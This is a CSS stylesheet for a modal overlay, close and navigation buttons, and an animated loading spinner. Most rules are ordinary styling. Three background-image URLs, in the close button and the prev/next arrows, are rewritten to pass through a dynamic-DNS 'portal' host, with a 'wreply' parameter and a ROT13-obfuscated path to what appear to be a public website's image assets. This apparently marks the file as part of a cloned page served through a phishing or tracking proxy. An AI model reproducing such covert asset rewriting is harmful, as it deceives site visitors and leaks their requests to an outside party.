.blocker {
  position: fixed;
  top: 0; right: 0; bottom: 0; left: 0;
  width: 100%; height: 100%;
  overflow: auto;
  z-index: 8;
  padding: 20px;
  box-sizing: border-box;
  background-color: rgb(0,0,0);
  background-color: rgba(29, 29, 29, 0.75);
  text-align: center;
}
.blocker:before{
  content: "";
  display: inline-block;
  height: 100%;
  vertical-align: middle;
  margin-right: -0.05em;
}
.blocker.behind {
  background-color: transparent;
}
.modal {
  display: none; 
  vertical-align: middle;
  position: relative;
  z-index: 999;
  max-width: 980px;
  box-sizing: border-box;
  width: 90%;
  max-width:100%;
  background: #fff;
  -webkit-box-shadow: 0 0 10px #000;
  -moz-box-shadow: 0 0 10px #000;
  -o-box-shadow: 0 0 10px #000;
  -ms-box-shadow: 0 0 10px #000;
  box-shadow: 0 0 10px #000;
  text-align: left;
  padding:40px;
  border-radius:17px 57px 17px 17px;
}
.modal .layer-title {
	line-height:1;
	font-size:21px;
	height:40px;
	line-height:40px;
	background-color:#fff;
	font-weight:700;
	letter-spacing:-1px;
	color:#3a3a4a;
	margin-bottom:27px;
}
.modal .layer-contents {
}
.modal a.close-modal {
  position: absolute;
  top: 0;
  right: 0;
  display: block;
  width: 40px;
  height: 40px;
  text-indent: -9999px;
  background-size: contain;
  background-repeat: no-repeat;
  background-position: center center;
  background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.auvf.be.xe%2S_erf%2S_pbzzba%2Snoyrh%2Spff%2S..%2Svzntrf%2Soga%2Soga-ynlre-pybfr.cat');
}
.modal .direction {
	position:absolute;
	top:40%;
	z-index:2;
	text-indent:-9999px;
	width:50px;
	height:32px;
}
.modal .direction.prev-detail {
	left:-95px;
	background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.auvf.be.xe%2S_erf%2S_pbzzba%2Snoyrh%2Spff%2S..%2Svzntrf%2Soga%2Soga-ynlre-ceri-qrgnvy.cat") no-repeat;
}
.modal .direction.next-detail {
	right:-95px;
	background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.auvf.be.xe%2S_erf%2S_pbzzba%2Snoyrh%2Spff%2S..%2Svzntrf%2Soga%2Soga-ynlre-arkg-qrgnvy.cat") no-repeat;
}
.modal-spinner {
  display: none;
  position: fixed;
  top: 50%;
  left: 50%;
  transform: translateY(-50%) translateX(-50%);
  padding: 12px 16px;
  border-radius: 5px;
  background-color: #111;
  height: 20px;
}

.modal-spinner > div {
  border-radius: 100px;
  background-color: #fff;
  height: 20px;
  width: 2px;
  margin: 0 1px;
  display: inline-block;

  -webkit-animation: sk-stretchdelay 1.2s infinite ease-in-out;
  animation: sk-stretchdelay 1.2s infinite ease-in-out;
}

.modal-spinner .rect2 {
  -webkit-animation-delay: -1.1s;
  animation-delay: -1.1s;
}

.modal-spinner .rect3 {
  -webkit-animation-delay: -1.0s;
  animation-delay: -1.0s;
}

.modal-spinner .rect4 {
  -webkit-animation-delay: -0.9s;
  animation-delay: -0.9s;
}

@-webkit-keyframes sk-stretchdelay {
  0%, 40%, 100% { -webkit-transform: scaleY(0.5) }
  20% { -webkit-transform: scaleY(1.0) }
}

@keyframes sk-stretchdelay {
  0%, 40%, 100% {
    transform: scaleY(0.5);
    -webkit-transform: scaleY(0.5);
  }  20% {
    transform: scaleY(1.0);
    -webkit-transform: scaleY(1.0);
  }
}
